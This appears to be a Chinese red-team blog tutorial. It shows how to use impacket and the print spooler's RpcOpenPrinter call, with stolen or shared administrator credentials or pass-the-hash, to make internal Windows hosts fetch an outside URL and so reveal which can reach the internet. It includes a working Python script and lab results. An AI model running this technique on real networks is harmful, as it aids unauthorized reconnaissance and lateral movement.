通过Windows RPC批量寻找“出网”机器

在获取内网通用口令的情景下,如何从大量的主机中寻找可以访问互联网的据点作为守控的高地?

0x00 Windows RPC

RPC(Remote Procedure Call)远程过程调用协议,一种通过网络从远程计算机上请求服务,而不需要了解底层网络技术的协议。RPC它假定某些协议的存在,例如TCP/UDP等,为通信程序之间携带信息数据。在OSI网络七层模型中,RPC跨越了传输层和应用层,RPC使得开发,包括网络分布式多程序在内的应用程序更加容易。在Windows操作系统中,RPC(Remote Procedure Call) 已经存在了许久,一些漏洞挖掘研究员也已经将RPC相关的漏洞挖的差不多了。但是想要调用Windows RPC接口完成某些事情,我感觉比直接使用Windows API麻烦很多,最近一直在看Windows RPC相关的知识,也实现了一些小工具,但最终我发现还是impacket香!

Windows RPC实现的小工具-远程/本地创建任务计划:

在本文开始之前,不得不提一下之前的文章也是调用的Windows RPC接口:通过OXID解析器获取Windows远程主机上网卡地址

0x01 实验环境

操作系统 IP地址
Kali Linux 192.168.117.139
Windows 10 192.168.117.141

假设Kali Linux具有192.168.117.0/24网段内的通用口令凭据,只有Windows 10可以访问互联网,那么常规的办法就是逐个让这些机器访问某个互联网地址,然后看哪一个请求成功了,最终请求成功的那个必定是可以访问互联网的。通过常规办法会有比较大的“动静”,也可能需要落地一些文件,产生更多的日志。

0x02 通过RpcOpenPrinter作为代理访问

RpcOpenPrinter 是一个工作在MS-RPRN协议下的监视打印机的句柄方法,方法定义如下:

DWORD RpcOpenPrinter(
   [in, string, unique] STRING_HANDLE pPrinterName,
   [out] PRINTER_HANDLE* pHandle,
   [in, string, unique] wchar_t* pDatatype,
   [in] DEVMODE_CONTAINER* pDevModeContainer,
   [in] DWORD AccessRequired
 );

第一个参数pPrinterName是打印机的地址,格式支持:

STRING_HANDLE 的定义类型:

情况说明:

调用RPC有两个解决办法,第一种看官方文档,下载idl接口文件,从头开始写码,第二种使用impacket,调用python模块完成。

我选择了后者,第一种实在是太麻烦了。

0x03 impacket的通用开发流程

在阅读了几个impacket官方仓库的示例以后,大致对impacket的调用有了清楚的认识。

示例代码:

from impacket.dcerpc.v5 import rprn
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport

TS = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
IFACE_UUID = rprn.MSRPC_UUID_RPRN

if __name__ == '__main__':
    username = 'administrator' # 用户名
    password = '[email protected]'     # 密码
    domain = ''
    lmhash = ''
    nthash = ''
    rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:192.168.117.141[\pipe\spoolss]')
    rpctransport.set_credentials(username, password, domain, lmhash, nthash)
    dce = rpctransport.get_dce_rpc()
    dce.connect()
    dce.bind(IFACE_UUID, transfer_syntax=TS)
    request = rprn.RpcOpenPrinter()
    target_url = r"http://www.baidu.com/"
    request['pPrinterName'] = '%s\x00' % target_url
    request['pDatatype'] = NULL
    request['pDevModeContainer']['pDevMode'] = NULL
    request['AccessRequired'] = rprn.SERVER_READ
    dce.request(request)
    if rpctransport:
    	rpctransport.disconnect()

首先通过DCERPCTransportFactory获取transport对象,DCERPCTransportFactory主要是为了确定RPC的协议序列,关于协议序列的知识可以通过这个文档了解。上方的示例代码ncacn_np:192.168.117.141[\pipe\spoolss]表示了这个RPC通过命名管道连接。连接成功以后,impacket通过set_credentials完成凭证的设置,说起set_credentials,不得不称赞impacket的开发者,只要使用impacket的set_credentials就能轻松进行PTH,因为set_credentials的参数很友好:

第二步是通过MS-RPCE绑定对象,MSRPC_UUID_RPRN 就是PRRN的UUID。

通过前两步,我们其实可以调用任意RPC对象,并支持PTH认证,最后一步dce.request其实就是调用RPC对象里面的方法。

0x04 实现效果

在Kali Linux上执行脚本,让Win10访问我的博客地址:

Win10上的效果:

可以看到,认证成功,并成功访问了我的博客。

0x05 结论

使用impacket开发武器化脚本比 C/C++ 要快的很多,并且对于协议底层的封装impacket做的非常出众。这个脚本我没有想过继续优化,因为CornerShot做的更好,作者已经将多种办法集成到了这个项目中。

参考